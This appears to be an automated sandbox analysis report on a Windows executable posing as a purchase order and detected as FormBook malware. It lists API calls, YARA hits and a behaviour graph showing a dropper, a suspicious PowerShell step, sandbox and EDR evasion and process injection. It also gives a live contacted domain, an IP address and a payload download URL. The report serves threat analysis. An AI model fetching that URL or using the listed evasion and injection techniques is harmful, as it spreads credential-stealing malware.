Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe Code function: 0_2_0040350A EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 0_2_0040350A

Stealing of Sensitive Information
barindex
Yara detected FormBook
Source: Yara match File source: 00000005.00000002.81461887155.00000000050C0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.77600228920.0000000022040000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Remote Access Functionality
barindex
Yara detected FormBook
Source: Yara match File source: 00000005.00000002.81461887155.00000000050C0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.77600228920.0000000022040000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1483268 Sample: PO Tournefortian24535255252... Startdate: 26/07/2024 Architecture: WINDOWS Score: 100 36 villa-ventura.com 2->36 46 Malicious sample detected (through community Yara rule) 2->46 48 Multi AV Scanner detection for submitted file 2->48 50 Yara detected FormBook 2->50 52 2 other signatures 2->52 9 PO Tournefortian2453525525235235623425523235.exe 29 2->9         started        signatures3 process4 file5 28 C:\Users\user\AppData\...\Heptandrous.Arr, ASCII 9->28 dropped 56 Suspicious powershell command line found 9->56 13 powershell.exe 20 9->13         started        signatures6 process7 file8 30 C:\Users\user\AppData\...\Sammentrykket.exe, PE32 13->30 dropped 32 C:\...\Sammentrykket.exe:Zone.Identifier, ASCII 13->32 dropped 58 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 13->58 60 Writes to foreign memory regions 13->60 62 Tries to detect Any.run 13->62 64 3 other signatures 13->64 17 Sammentrykket.exe 6 13->17         started        21 conhost.exe 13->21         started        signatures9 process10 dnsIp11 34 villa-ventura.com 185.90.59.130, 443, 49778 ONILisbonPortugalPT Portugal 17->34 38 Multi AV Scanner detection for dropped file 17->38 40 Tries to detect Any.run 17->40 42 Maps a DLL or memory area into another process 17->42 44 Switches to a custom stack to bypass stack traces 17->44 23 RAVCpl64.exe 17->23 injected 26 WerFault.exe 21 16 17->26         started        signatures12 process13 signatures14 54 Found direct / indirect Syscall (likely to bypass EDR) 23->54
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.90.59.130
 villa-ventura.com Portugal
9186 ONILisbonPortugalPT false

Contacted Domains

Name IP Active
villa-ventura.com 185.90.59.130 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://villa-ventura.com/FPkXcnPDrjTal168.bin false
  • Avira URL Cloud: safe
 unknown